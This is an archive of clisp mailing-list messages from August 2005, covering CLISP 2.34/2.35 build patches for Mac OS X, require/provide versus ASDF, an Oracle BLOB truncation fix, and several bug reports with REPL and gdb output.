>>
> I tried using gdb, but the only progress which I have been able to make
> is getting this error message.
>
> "Program exited with code 030000000005."

I loaded the file - worked fine.

[1]> (Eljapp_initializeC (wxclosure_Create (function init-func) nil) 0 nil)

COMMON-LISP-USER[1]> 1345
 --> 1345

COMMON-LISP-USER[2]> 36756
 --> 36756

COMMON-LISP-USER[3]> sgh
SIMPLE-UNBOUND-VARIABLE:
EVAL: variable SGH has no value

COMMON-LISP-USER[4]> 4r5
SIMPLE-UNBOUND-VARIABLE:
EVAL: variable |4R5| has no value

COMMON-LISP-USER[5]> ^D

SIMPLE-READER-ERROR:
READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\U0004

COMMON-LISP-USER[6]> ^Z

[2]> ^Z
Bye.

what do I do to get a crash?

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After applying the following patch, I was able to compile clisp-2.34 on:

Mac OS X Version 10.3.9
iBook 900 MHz PowerPC G3 640 MB SDRAM
Darwin triton.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC  Power Macintosh powerpc

with:

rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local $(for m in  clx/new-clx  regexp syscalls ; do echo  --with-module=$m ; done)  --build /tmp/clisp-2.34-build  --install

in:

real	28m1.763s
user	16m12.780s
sys	4m44.820s


LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.34 (2005-07-20) (built 3333590141) (memory 3333591000)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -x none libcharset.a -lncurses  -liconv  -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libiconv 1.9"
SOFTWARE-VERSION             "GNU C 3.3 20030304 (Apple Computer, Inc. build 1495)"
MACHINE-INSTANCE             "triton.local [192.168.0.64]"
MACHINE-TYPE                 "POWER MACINTOSH"
MACHINE-VERSION              "POWER MACINTOSH"
*FEATURES*                   
(:COM.INFORMATIMAGO.PJB :ASDF :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N
 :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER
 :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :UNICODE
 :BASE-CHAR=CHARACTER :UNIX :MACOS)






--- clisp-2.34/src/makemake.in	Tue Jul 19 04:01:19 2005
+++ clisp-2.34-pjb/src/makemake.in	Sun Aug 21 03:16:51 2005
@@ -3146,8 +3146,8 @@
   echol
 
   SACLA_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -i tests.lisp"
-  echol "check-sacla-tests : ${SACLATESTSDIR} lisp${LEXE} lispinit.mem"
-  echotab "cd ${SACLATESTSDIR} && ${SACLA_CLISP} -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'"
+  echol "check-sacla-tests : lisp${LEXE} lispinit.mem"
+  echotab "[ -d ${SACLATESTSDIR} ] && ( cd ${SACLATESTSDIR} && ${SACLA_CLISP} -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))' ) || true"
   echol
   echol "${SACLATESTSDIR} :"
   echotab "-mkdir ${SACLATESTSDIR}"
@@ -3159,16 +3159,16 @@
 
   ANSI_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -m 30000KW -ansi -i clispload.lsp"
   echol "check-ansi-tests : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem"
-  echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log"
+  echotab "[ -r ${ANSITESTSDIR}/gclload1.lsp ] && ( cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log) || true"
   echol
   echol "check-ansi-tests-debug : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem"
-  echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\")' -repl"
+  echotab "[ -r ${ANSITESTSDIR}/gclload1.lsp ] && ( cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\")' -repl) || true"
   echol
   echol "check-ansi-tests-compiled : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem"
-  echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (setq regression-test::*compile-tests* t) (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-compiled-log"
+  echotab "[ -r ${ANSITESTSDIR}/gclload1.lsp ] && ( cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (setq regression-test::*compile-tests* t) (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-compiled-log ) || true"
   echol
   echol "check-ansi-tests-compiled-debug : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem"
-  echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (setq regression-test::*compile-tests* t)' -repl"
+  echotab "[ -r ${ANSITESTSDIR}/gclload1.lsp ] && ( cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (setq regression-test::*compile-tests* t)' -repl) || true"
   echol
   echol "${ANSITESTSDIR} :"
   # Do NOT update the ansi-tests directory automatically, because


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Sam Steingold <sds@gnu.org> writes:

>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-18 02:46:44 -0700]:
>>
>> Surendra Singhi <efuzzyone@netscape.net> writes:
>>
>>>  I did some further investigation into my problem, and it
>>> is really behaving weirdly. I will summarize the behavior below:
>>>
>>> [1] If I load the file once, execute, then I am shown the repl prompt, but any input
>>> makes lisp crash.
>>>
>>> [2]When I load the file twice (will show a warning), execute, then repl works for
>>> correct input, but lisp crashes with invalid input.
>>>
>>> [3] Load the file once, make a mistake so that lisp shows an error message,
>>> then execute, things work as expected, for near about 10-12 times, but after
>>> that lisp crashes.
>>>
>>> [4]When I just run the repl, no problem whatsoever.
>>>
>> I tried using gdb, but the only progress which I have been able to make
>> is getting this error message.
>>
>> "Program exited with code 030000000005."
>
> I loaded the file - worked fine.
>[...output snipped..]
>what do I do to get a crash?

Sam,

  Thanks for looking into this problem. I tried on two different WindowsXP
machine, with the binary release of clisp 2.34, and it is easily reproducible
on them.

Thanks once again.

-- 
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I noticed that (require 'foo) didn't work for me after an upgrade to 2.34
on either cygwin or linux. I did some reading on CLHS about require and
found my syntax to be wrong and should have been (require "foo") which
does work fine.

However, while reading this link about require,
http://www.lispworks.com/documentation/HyperSpec/Body/f_provid.htm
I noticed the notes section at the bottom that says require and provide
are both deprecated, however, there isn't any indication of what should be
used in their place. The load function seems to always load while the
require function only loads when the module-name isn't present in
*modules*. How do I get require behavior if that function is deprecated?
Or maybe stated differently, what function should I use in place of
require?

On a related topic, I have code which uses the provide function. Some
example code might look something like this:

(defpackage "DEMO"
  (:use "CL")
  (:export "DEMO-NUMBER" "ADD" "NUMBER-A" "NUMBER-B"))

(provide "demo")

(in-package "DEMO")

(provide "demo-number")

(defclass demo-number ()
  ((number-a :accessor number-a :initform 3)
   (number-b :accessor number-b :initform 2)))

(defgeneric add (demo-number))

(defmethod add ((n1 demo-number))
  (+ (slot-value n1 'number-a) (slot-value n1 'number-b)))

I have 2 provides in this code, and I'd like advice on which one is more
correct (if either) and secondly: if provide is deprecated, what should I
use instead?

Thanks,
Jeff






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On Wed, 2005-08-24 at 13:05 -0500, Jeff Bowman wrote:
> I noticed that (require 'foo) didn't work for me after an upgrade to 2.34
> on either cygwin or linux. I did some reading on CLHS about require and
> found my syntax to be wrong and should have been (require "foo") which
> does work fine.

CLOCC uses (require :foo).  Also, and this is just a wild guess, but if
the requiring CL package and the providing CL package are different,
then the symbol FOO in the require form will not be equal to the symbol
FOO in the provide form.  I suppose this is why CLOCC uses keywords.

> I noticed the notes section at the bottom that says require and provide
> are both deprecated, however, there isn't any indication of what should be
> used in their place. The load function seems to always load while the
> require function only loads when the module-name isn't present in
> *modules*. How do I get require behavior if that function is deprecated?
> Or maybe stated differently, what function should I use in place of
> require?

It depends on what you mean by "require behavior".  If you are generally
referring to one-time module loading, ASDF and MK-DEFSYSTEM provide
powerful replacements.  The former seems to be preferred lately.

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> On Wed, 2005-08-24 at 13:05 -0500, Jeff Bowman wrote:
>> I noticed that (require 'foo) didn't work for me after an upgrade to
>> 2.34
>> on either cygwin or linux. I did some reading on CLHS about require and
>> found my syntax to be wrong and should have been (require "foo") which
>> does work fine.
>
> CLOCC uses (require :foo).

Interesting. I tried (require :demo) using the code from the earlier post
which was in a file called demo.lisp in the current directory and I got
this error:
*** - LOAD: A file with name DEMO does not exist

but (require :demo.lisp) loaded fine. But, I'd rather not add '.lisp' to
all my requires.

> Also, and this is just a wild guess, but if
> the requiring CL package and the providing CL package are different,
> then the symbol FOO in the require form will not be equal to the symbol
> FOO in the provide form.  I suppose this is why CLOCC uses keywords.
>

so maybe I should use the (provide "demo") outside of the package then?

>> I noticed the notes section at the bottom that says require and provide
>> are both deprecated, however, there isn't any indication of what should
>> be
>> used in their place. The load function seems to always load while the
>> require function only loads when the module-name isn't present in
>> *modules*. How do I get require behavior if that function is deprecated?
>> Or maybe stated differently, what function should I use in place of
>> require?
>
> It depends on what you mean by "require behavior".  If you are generally
> referring to one-time module loading, ASDF and MK-DEFSYSTEM provide
> powerful replacements.  The former seems to be preferred lately.
>

Yes, I mean the load-it-once behavior. I'm not terribly familiar with
these (asdf/mk-defsystem), I'll have to read about them.

> --
> Stephen Compall
> http://scompall.nocandysoftware.com/blog
>
>

Thanks for the information.
Jeff



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On Wed, 2005-08-24 at 16:48 -0500, Jeff Bowman wrote:
> > CLOCC uses (require :foo).
> 
> Interesting. I tried (require :demo) using the code from the earlier post
> which was in a file called demo.lisp in the current directory and I got
> this error:
> *** - LOAD: A file with name DEMO does not exist

The reader folds the case of the symbol based on the value of the place
(readtable-case *readtable*).  In CL (non `-modern'), this is
usually :upcase.  So it is using the symbol-name of :demo, which is
"DEMO", and you didn't name your file "DEMO.lisp" right?

In CLOCC, the second argument is always supplied.  So you would say
(require :demo "demo").

Note that ASDF and MK-DEFSYSTEM don't suffer this drawback; you can
refer to your package as :demo and they will look for demo.asd for the
former, something else for the latter.

> but (require :demo.lisp) loaded fine. But, I'd rather not add '.lisp' to
> all my requires.

I don't care to guess on that :)

> > Also, and this is just a wild guess, but if
> > the requiring CL package and the providing CL package are different,
> > then the symbol FOO in the require form will not be equal to the symbol
> > FOO in the provide form.  I suppose this is why CLOCC uses keywords.
> 
> so maybe I should use the (provide "demo") outside of the package then?

The current package doesn't affect how strings are read.  Here is an
example, assuming you have a package called demo.  I cut out the prints
that don't matter.

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DEMO> (push 'demo cl-user::*syms*)
(DEMO)
DEMO> (in-package #:cl-user)
CL-USER> (push 'demo *syms*)
(DEMO DEMO::DEMO)
CL-USER> (mapcar (lambda (s) (package-name (symbol-package s))) *syms*)
("COMMON-LISP-USER" "DEMO")

Note that the symbols in *syms*, though expressed in exactly the same
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I have a problem retrieving BLOBs from Oracle.

The trouble is that the oracle module returns LOBs as zero terminated
strings (at the low level). The BLOB is truncated if it contains zero
byte.

Have anybody come across this problem?

Sample code:

(oracle:run-sql "select id, doc from tab"
   (oracle:do-rows (id doc)
     (princ (type-of doc)) ;; THE PROBLEM IS HERE ALREADY
       (with-open-file (stream (format nil "~a/~a.pdf" dir id)
         :direction :output
         :if-exists :supersede
         :element-type '(unsigned-byte 8))
       (write-byte-sequence
         (convert-string-to-bytes (coerce doc 'string)
           CUSTOM:*FOREIGN-ENCODING*) stream))))

I can think of some solutions to this:

1) Return BLOBs as byte array: needs to change oracle module both in C
    and Lisp:-( Might be a lot of work especially when I'm not familiar
    with low level details of CLisp. This would be ideal solution.

2) Retrieve BLOBs as text, e.g. "select id, doc,
    utl_encode.base64_encode(doc) as txt from tab". However, this works
    for short BLOBs only (about 2kB?).

Any ideas?

Thanks a lot,

Tomas



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Stephen Compall wrote:
> On Wed, 2005-08-24 at 16:48 -0500, Jeff Bowman wrote:
> 
>>>CLOCC uses (require :foo).
>>
>>Interesting. I tried (require :demo) using the code from the earlier post
>>which was in a file called demo.lisp in the current directory and I got
>>this error:
>>*** - LOAD: A file with name DEMO does not exist
> 
> 
> The reader folds the case of the symbol based on the value of the place
> (readtable-case *readtable*).  In CL (non `-modern'), this is
> usually :upcase.  So it is using the symbol-name of :demo, which is
> "DEMO", and you didn't name your file "DEMO.lisp" right?
> 

True, the file is named "demo.lisp".

> In CLOCC, the second argument is always supplied.  So you would say
> (require :demo "demo").
> 

Ah!

> Note that ASDF and MK-DEFSYSTEM don't suffer this drawback; you can
> refer to your package as :demo and they will look for demo.asd for the
> former, something else for the latter.
> 

I've started reading about ASDF. But it still looks like a build system
to me so far. Well, except for the form

(asdf:operate 'asdf:load-op 'demo)

which appears to replace (require :demo "demo"). I'm still too new at
this, so I'll have to read it again.

> 
>>but (require :demo.lisp) loaded fine. But, I'd rather not add '.lisp' to
>>all my requires.
> 
> 
> I don't care to guess on that :)
> 

hehehe. Answered above though. Thanks.

> 
>>>Also, and this is just a wild guess, but if
>>>the requiring CL package and the providing CL package are different,
>>>then the symbol FOO in the require form will not be equal to the symbol
>>>FOO in the provide form.  I suppose this is why CLOCC uses keywords.
>>
>>so maybe I should use the (provide "demo") outside of the package then?
> 
> 
> The current package doesn't affect how strings are read.  Here is an
> example, assuming you have a package called demo.  I cut out the prints
> that don't matter.
> 
> CL-USER> (in-package #:cl-user)
> CL-USER> (defparameter *syms* '())
> CL-USER> (in-package #:demo)
> DEMO> (push 'demo cl-user::*syms*)
> (DEMO)
> DEMO> (in-package #:cl-user)
> CL-USER> (push 'demo *syms*)
> (DEMO DEMO::DEMO)
> CL-USER> (mapcar (lambda (s) (package-name (symbol-package s))) *syms*)
> ("COMMON-LISP-USER" "DEMO")
> 
> Note that the symbols in *syms*, though expressed in exactly the same
> way, are completely different.
> 

That is enlightening. Thanks for the explanation.
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-21 09:00:40 +0200]:
>
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> $(for m in clx/new-clx regexp syscalls ; do echo --with-module=$m ;
> done) --build /tmp/clisp-2.34-build --install

Pascal, if _you_ do not read the NEWS file - not even the "Important
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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-22 16:10:07 -0700]:
>
>   Thanks for looking into this problem. I tried on two different
> WindowsXP machine, with the binary release of clisp 2.34, and it is
> easily reproducible on them.

Surendra, all I have is a w2k box.
please provide step-by-step instruction on how to reproduce the problem,
including the "expected" and "actual" results.
Thanks.

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> * Tomas Hlavaty <xivrgnnt@frmanz.pm> [2005-08-25 11:55:30 +0100]:
>
> I have a problem retrieving BLOBs from Oracle.
>
> The trouble is that the oracle module returns LOBs as zero terminated
> strings (at the low level). The BLOB is truncated if it contains zero
> byte.

if BLOB can contain a NULL byte, it is wrong to return it as a string.

> 1) Return BLOBs as byte array: needs to change oracle module both in C
>     and Lisp:-( Might be a lot of work especially when I'm not familiar
>     with low level details of CLisp. This would be ideal solution.

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Date: Thu Aug 25 09:09:34 2005
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 > Sam Steingold wrote:
 >
>>* Tomas Hlavaty <xivrgnnt@frmanz.pm> [2005-08-25 11:55:30 +0100]:
>>
>>I have a problem retrieving BLOBs from Oracle.
>>
>>The trouble is that the oracle module returns LOBs as zero terminated
>>strings (at the low level). The BLOB is truncated if it contains zero
>>byte.
> 
> 
> if BLOB can contain a NULL byte, it is wrong to return it as a string.

Yes, I know;-) but that's the way it is currently implemented in the 
oracle module:-(

>>1) Return BLOBs as byte array: needs to change oracle module both in C
>>    and Lisp:-( Might be a lot of work especially when I'm not familiar
>>    with low level details of CLisp. This would be ideal solution.
> 
> indeed.

I was just wondering whether somebody haven't solved the problem:-)

Thanks,

Tomas




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Date: Thu Aug 25 09:32:24 2005
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On 21 aug 2005, at 09:00, Pascal Bourguignon wrote:

>
>
> After applying the following patch, I was able to compile clisp-2.34 
> on:
>
> Mac OS X Version 10.3.9
> iBook 900 MHz PowerPC G3 640 MB SDRAM
> Darwin triton.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 
> 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC  Power 
> Macintosh powerpc
>
> with:
>
> rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local 
> $(for m in  clx/new-clx  regexp syscalls ; do echo  --with-module=$m ; 
> done)  --build /tmp/clisp-2.34-build  --install
>

Thanks!  I have been trying to compile clisp 2.34 on Mac OS 10.3.9 but 
failed. With the above I succeeded. But the resulting clisp had no FFI 
support. The binary download on sourceforge has FFI support, obviously 
it is possible to get that to compile. I wonder if it has to do with 
gcc version (mine is 3.3) or library versions (I don't have libsigsegv, 
e.g.). Did you get FFI support, if so what was the trick?

//Lennart Staflin




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I checked in the code that closes all possible sockets before exec().
please try CVS head.
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Date: Thu Aug 25 13:19:33 2005
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Lennart Staflin writes:
> On 21 aug 2005, at 09:00, Pascal Bourguignon wrote:
> > After applying the following patch, I was able to compile clisp-2.34 
> > on:
> 
> Thanks!  I have been trying to compile clisp 2.34 on Mac OS 10.3.9 but 
> failed. With the above I succeeded. But the resulting clisp had no FFI 
> support. The binary download on sourceforge has FFI support, obviously 
> it is possible to get that to compile. I wonder if it has to do with 
> gcc version (mine is 3.3) or library versions (I don't have libsigsegv, 
> e.g.). Did you get FFI support, if so what was the trick?

I have no urgent need for FFi on Darwin, so I did not further explore.



(I have 3.3 configured on Darwin too.
 $ gcc --version
 gcc (GCC) 3.3 20030304 (Apple Computer, Inc. build 1495)
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Hi John,

> let me see if I can fix the Oracle interface to return BLOB's as an
> array of unsigned byte or more appropriate type.

it would be great:-)

> There are other limits as well; if your BLOBs are really big (won't
> fit in memory) there is no way to fetch them out of Oracle in chunks
> (piecewise) ... the module assumes they will fit in memory.  It will
> not, however, attempt to use up any more than a configurable maximum,
> but instead raise an error.  But there is no practical way to retrieve
> really huge BLOBs or CLOBs that do not fit in memory.

This restriction is reasonable.

> If I don'thave a quick fix, I'll document it as unsupported since as
> Sam points out it is quite wrong to just truncate it.

Thanks a lot,

Tomas




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Date: Fri Aug 26 13:54:45 2005
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Hi

simple question.  How do I find the pathname associated to a 
FILE-STREAM?

Cheers

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> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2005-08-26 16:53:09 -0400]:
>
> simple question.  How do I find the pathname associated to a
> FILE-STREAM?

PATHNAME, as per ANSI CL:
[52]> (open "foo.fas")

#<INPUT BUFFERED FILE-STREAM CHARACTER #P"foo.fas" @1>
[53]> (setq s *)

#<INPUT BUFFERED FILE-STREAM CHARACTER #P"foo.fas" @1>
[54]> (type-of s)

FILE-STREAM
[55]> (pathname s)

#P"foo.fas"
[56]> (truename s)

#P"D:\\sds\\foo.fas"

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Duh!

Thanks

Marco



On Aug 26, 2005, at 5:08 PM, Sam Steingold wrote:

>> * Marco Antoniotti <znepbkn@pf.alh.rqh> [2005-08-26 16:53:09 -0400]:
>>
>> simple question.  How do I find the pathname associated to a
>> FILE-STREAM?
>
> PATHNAME, as per ANSI CL:
> [52]> (open "foo.fas")
>
> #<INPUT BUFFERED FILE-STREAM CHARACTER #P"foo.fas" @1>
> [53]> (setq s *)
>
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> [54]> (type-of s)
>
> FILE-STREAM
> [55]> (pathname s)
>
> #P"foo.fas"
> [56]> (truename s)
>
> #P"D:\\sds\\foo.fas"
>
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Hello,
I would like to announce plain-odbc which is a simple interface 
to ODBC.

It can be found at http://common-lisp.net/project/plain-odbc.

Statement parameters, clobs and blobs are supported.
An example:

[5]> (use-package :plain-odbc) 

T
[6]> (setf *con* (connect-sql-server "ltrav" "test"))

WARNING: [ODBC info] 1 state: [Microsoft][ODBC SQL Server Driver][SQL
         Server]Changed database context to 'test'.
#<ODBC-CONNECTION SERVER="LTRAV" DBMS="Microsoft SQL Server" USER="dbo">
[7]> (exec-command *con* "create table clob_test (id int,txt text)")


[8]> (exec-update *con* "insert into clob_test(id,txt) values(?,?)" 123
(list (make-string 1000000 :initial-element #\z) :clob :in))

1
[9]> (subseq (first (first (exec-query *con* "select txt from clob_test
where id=?" 123))) 999990 1000000)

"zzzzzzzzzz"


The interfacing to C is done via UFFI.

For CLISP I used Jörg Höhle's UFFI implementation with small
additions.

In the FTP directory there is also a modified UFFI-1.5 
which supports CLISP. 
The support of UFFI for CLISP was written by me.
I just implemented what I needed.

CLISP is my development platform, plain-odbc works with 
CLISP on Linux and Win32. (Oracle, SQL-Server, ACCESS and MySQL).

I have tested it also with the trial versions of 
Allegro and Lispworks on Win32.

Roland Averkamp


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> * Roland Averkamp <ebynaq.nirexnzc@tzk.arg> [2005-08-28 13:43:02 +0200]:
>
> I would like to announce plain-odbc which is a simple interface to
> ODBC.  It can be found at http://common-lisp.net/project/plain-odbc.

Great!

> For CLISP I used J=C3=B6rg H=C3=B6hle's UFFI implementation with small
> additions.

could you please place all those patches to the clisp sf patches repository?

> In the FTP directory there is also a modified UFFI-1.5 which supports
> CLISP.  The support of UFFI for CLISP was written by me.

could you please work with the UFFI maintainers to merge your
modifications into the official UFFI sources?

thanks!

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Sam Steingold <sds@gnu.org> writes:

> I checked in the code that closes all possible sockets before exec().
> please try CVS head.
I just compiled yesterday's CVS head using standard options (i.e. only
--prefix=/usr/local) and it works.

Thanks a lot,
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Date: Mon Aug 29 22:33:07 2005
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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-21 09:00:40 +0200]:
> >
> > rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local
> > $(for m in clx/new-clx regexp syscalls ; do echo --with-module=$m ;
> > done) --build /tmp/clisp-2.34-build --install
> 
> Pascal, if _you_ do not read the NEWS file - not even the "Important
> notes" in the very beginning - who am I writing it for?!

Ok, I've read it (perhaps configure could issue an error for invalid
module arguments?).

Now, I've successfully compiled 2.35 on the previously mentioned
MacOSX system, and on SuSE Linux 8.2 on ix86.


I note in the output of configure a mention about 
"checking for the valid characters in filenames... 7-bit"

On MacOSX, indeed random 8-bit bytes are not accepted by open(2) on
HFS+ file systems.  That's because it's a UTF-8 file system, and it
checks for a correct encoding.

$ cat fname.c
/* -*- coding: utf-8 -*- */
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
    int main(void){
        int fd;
        unsetenv("LC_MONETARY");
        unsetenv("LC_NUMERIC");
        unsetenv("LC_MESSAGES");
        unsetenv("LC_COLLATE");
        unsetenv("LC_CTYPE");
        unsetenv("LC_TIME");
        putenv("LC_ALL=fr_FR.UTF-8");
        fd=open("/tmp/àéîõüÿ",O_CREAT,0666);
        printf("open --> %d\n",fd);
        close(fd);
        system("ls -l /tmp/àéîõüÿ");
        return(0);}

$ ./fname
open --> 5
-rw-------  1 pjb  wheel  0 30 aoû 06:54 /tmp/àéîõüÿ



It seems it's wrongly taken into account by clisp-2.35.  Perhaps it
should not be so strict...

[29]>  #P"/tmp/àéîõüÿ.lisp"

*** - PARSE-NAMESTRING: syntax error in filename "/tmp/àéîõüÿ.lisp" at position
       5

The following restarts are available:
ABORT          :R1      ABORT
Break 1 [30]> (lsencod)

*DEFAULT-FILE-ENCODING*          #<ENCODING ISO-8859-1 UNIX>
*MISC-ENCODING*                  #<ENCODING ISO-8859-1 UNIX>
*PATHNAME-ENCODING*              #<ENCODING UTF-8 UNIX>
*TERMINAL-ENCODING*              #<ENCODING UTF-8 UNIX>
*HTTP-ENCODING*                  #<ENCODING UTF-8 DOS>


Break 1 [30]> (PRINT-BUG-REPORT-INFO)


LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.35 (2005-08-29) (built 3334365175) (memory 3334366089)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -x none libcharset.a -lncurses  -liconv  -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libiconv 1.9"
SOFTWARE-VERSION             "GNU C 3.3 20030304 (Apple Computer, Inc. build 1495)"
MACHINE-INSTANCE             "triton.local [192.168.0.64]"
MACHINE-TYPE                 "POWER MACINTOSH"
MACHINE-VERSION              "POWER MACINTOSH"
*FEATURES*                   
(:COM.INFORMATIMAGO.PJB :ASDF :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N
 :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER
 :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :UNICODE
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Date: Tue Aug 30 03:41:23 2005
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-30 07:32:16 +0200]:
>
> Sam Steingold writes:
>> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-21 09:00:40 +0200]:
>> >
>> > rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local
>> > $(for m in clx/new-clx regexp syscalls ; do echo --with-module=$m ;
>> > done) --build /tmp/clisp-2.34-build --install
>> 
>> Pascal, if _you_ do not read the NEWS file - not even the "Important
>> notes" in the very beginning - who am I writing it for?!
>
> Ok, I've read it (perhaps configure could issue an error for invalid
> module arguments?).

makemake issues a warning.

> Now, I've successfully compiled 2.35 on the previously mentioned
> MacOSX system, and on SuSE Linux 8.2 on ix86.

Thanks!

> I note in the output of configure a mention about 
> "checking for the valid characters in filenames... 7-bit"

see clisp/src/m4/filecharset.m4

> On MacOSX, indeed random 8-bit bytes are not accepted by open(2) on
> HFS+ file systems.  That's because it's a UTF-8 file system, and it
> checks for a correct encoding.

this is a problematic issue:
an error here can create startup problems described in
<http://clisp.cons.org/impnotes/faq.html#faq-enc-err>

I will leave this whole mess to Bruno :-)

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Ich werde ab  22.08.2005 nicht im B=FCro sein. Ich kehre zur=FCck am  2=
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Ich werde Ihre Nachricht nach meiner R=FCckkehr beantworten.=




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Hi John,

> Tomas, a fix in the CVS head; you will have to update your source and
> recompile.  CLISP's oracle module should now convert data for columns
> of type BLOB and BFILE to an array of (UNSIGNED-BYTE 8), and not
> truncate it at NUL byte as it was doing.

works fine:-)

Thanks a lot!

Tomas




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It's seems to me that CLHS stance on READ-CHAR is unnegociable: it
must return a CHARACTER (or the eof-value).  Unfortunately, in clisp
it doesn't always return a character:

[410]> (typep (ext:with-keyboard (read-char EXT:*KEYBOARD-INPUT*)) 'character)
a
NIL

[411]> (format t "~C" (ext:with-keyboard (read-char EXT:*KEYBOARD-INPUT*)))
a

*** - The ~C format directive requires a character argument, not
       #S(SYSTEM::INPUT-CHARACTER :CHAR #\a :BITS 0 :FONT 0 :KEY NIL)

      Current point in control string:
      ~C
      |
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [412]> 

[413]> (ext:with-keyboard (read-line EXT:*KEYBOARD-INPUT*))
abcd


*** - READ-LINE: argument
       #S(SYSTEM::INPUT-CHARACTER :CHAR #\a :BITS 0 :FONT 0 :KEY NIL)
      is not a character
The following restarts are available:
ABORT          :R1      ABORT


SYSTEM::INPUT-CHARACTER should be made a subtype of CHARACTER, or
READ-CHAR should return something else...


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I don't know if it's supposed to work or not on MacOSX 10.3.9 with a
ppc750 processor, but it doesn't (therefore FFI isn't built into
clisp-2.35 on MacOSX).

$ hostinfo
Mach kernel version:
         Darwin Kernel Version 7.9.0:
Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC


Kernel configured for a single processor only.
1 processor is physically available.
Processor type: ppc750 (PowerPC 750)
Processor active: 0
Primary memory available: 640.00 megabytes.
Default processor set: 51 tasks, 121 threads, 1 processors
Load average: 0.11, Mach factor: 0.88



[pjb@triton trampoline_r]$ gdb test1
GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "powerpc-apple-darwin".
Reading symbols for shared libraries .. done
(gdb) run
Starting program: /private/tmp/clisp-2.35-build/callback/trampoline_r/test1 
Reading symbols for shared libraries . done

Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand.
0x00100144 in ?? ()
(gdb) x/20i $pc-16
0x100134: .long 0x0
0x100138:       .long 0x0
0x10013c:       .long 0x0
0x100140:       .long 0x100140
0x100144:       lis     r11,16
0x100148:       ori     r11,r11,348
0x10014c:       lis     r0,0
0x100150:       ori     r0,r0,10692
0x100154:       mtctr   r0
0x100158:       bctr
0x10015c:       stbu    r13,-20670(r25)
0x100160:       ori     r10,r10,5065
0x100164:       .long 0x0
0x100168:       .long 0x0
0x10016c:       .long 0x0
0x100170:       .long 0x0
